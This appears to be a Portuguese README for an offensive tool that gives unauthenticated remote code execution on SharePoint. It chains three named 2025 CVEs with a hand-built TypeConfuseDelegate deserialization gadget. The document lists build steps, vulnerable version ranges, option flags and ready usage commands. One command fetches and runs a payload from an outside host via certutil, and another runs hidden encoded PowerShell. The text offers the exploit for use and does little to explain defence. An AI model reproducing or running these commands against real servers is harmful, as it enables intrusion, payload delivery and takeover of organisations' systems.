
Você realmente acha que o SharePoint é seguro?
Ferramenta RCE autossuficiente para SharePoint em um único binário. Gera uma cadeia de gadgets TypeConfuseDelegate como bytes brutos MS-NRBF (sem ysoserial.exe), encapsula em uma carga útil de desserialização DataSet e entrega via HTTP usando a bypass de autenticação — tudo em um único disparo.
| Etapa | CVE | Descrição |
|---|---|---|
| 1 | CVE-2025-49706 | Bypass de autenticação — Referer: /_layouts/SignOut.aspx ignora a autenticação do SharePoint |
| 2 | CVE-2025-53771 | Bypass de patch — segmento de caminho após ToolPane.aspx evita a correção de julho de 2025 |
| 3 | CVE-2025-49704 | Desserialização — ExcelDataSet.CompressedDataTable aciona BinaryFormatter em um DataSet manipulado |
| 4 | — | O esquema do DataSet força LosFormatter.Deserialize() na carga interna via ExpandedWrapper + ObjectDataProvider |
| 5 | — | TypeConfuseDelegate — o comparador de SortedSet<string> é Process.Start(string, string), executando cmd /c <comando> |
Todo o fluxo binário (tanto o wrapper DataSet externo quanto o gadget TypeConfuseDelegate interno) é construído como registros MS-NRBF brutos — nenhuma serialização em tempo de execução .NET é usada. Isso corresponde ao formato produzido pelo módulo Metasploit byte a byte.
Requer .NET Framework 4.8 SDK (Visual Studio 2022 ou Build Tools autônomo):
& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release
Saída: OurSharePoint\bin\Release\OurSharePoint.exe (arquivo único, sem dependências)
OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com
OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com
OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com
OurSharePoint.exe --target=https://sp.corp.com --check
OurSharePoint.exe --cmd="calc.exe" --out=exploit
OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com
Quando --out é usado, a ferramenta escreve:
| Arquivo | Conteúdo |
|---|---|
<prefix>.bin | Fluxo DataSet BinaryFormatter bruto |
<prefix>.b64 | Codificado em GZip + Base64 (o que vai em CompressedDataTable) |
| Edição | Faixa Vulnerável |
|---|---|
| SharePoint Server Subscription Edition | 16.0.14326.20450 – 16.0.18526.20424 |
| SharePoint Server 2019 | 16.0.10337.12109 – 16.0.10417.20027 |
| SharePoint Enterprise Server 2016 | 16.0.4351.1000 – 16.0.5508.1000 |
| SharePoint Server 2013 | 15.0.4481.1005 – 15.0.5545.1000 |
BinaryWriter. Isso evita diferenças entre a saída da serialização em tempo de execução .NET e o que o desserializador alvo espera.ObjectStateFormatter (0xFF 0x01 0x32 + comprimento de 7 bits) em vez de usar LosFormatter.Serialize().| Flag | Descrição | Padrão |
|---|
--cmd=COMMAND | Comando a executar (executa como cmd /c COMMAND) | — |
--in=FILE | Arquivo de carga útil LosFormatter pré-construído em base64 | — |
--target=URL | URL base do SharePoint para entrega HTTP | — |
--check | Apenas identificar versão, sem carga útil | — |
--out=PREFIX | Prefixo do arquivo de saída | payload |
--sp-version=VER | Versão do caminho Layouts (15 ou 16) | 15 |
--proxy=URL | Proxy HTTP | — |
--ua=STRING | User-Agent personalizado | Firefox 120 |
--referer=URL | Sobrescrever Referer de bypass de autenticação | auto |
--timeout=SEC | Timeout HTTP | 15 |
--a/b/c=NAME | Nomes do DataSet/elemento/coluna | aleatório |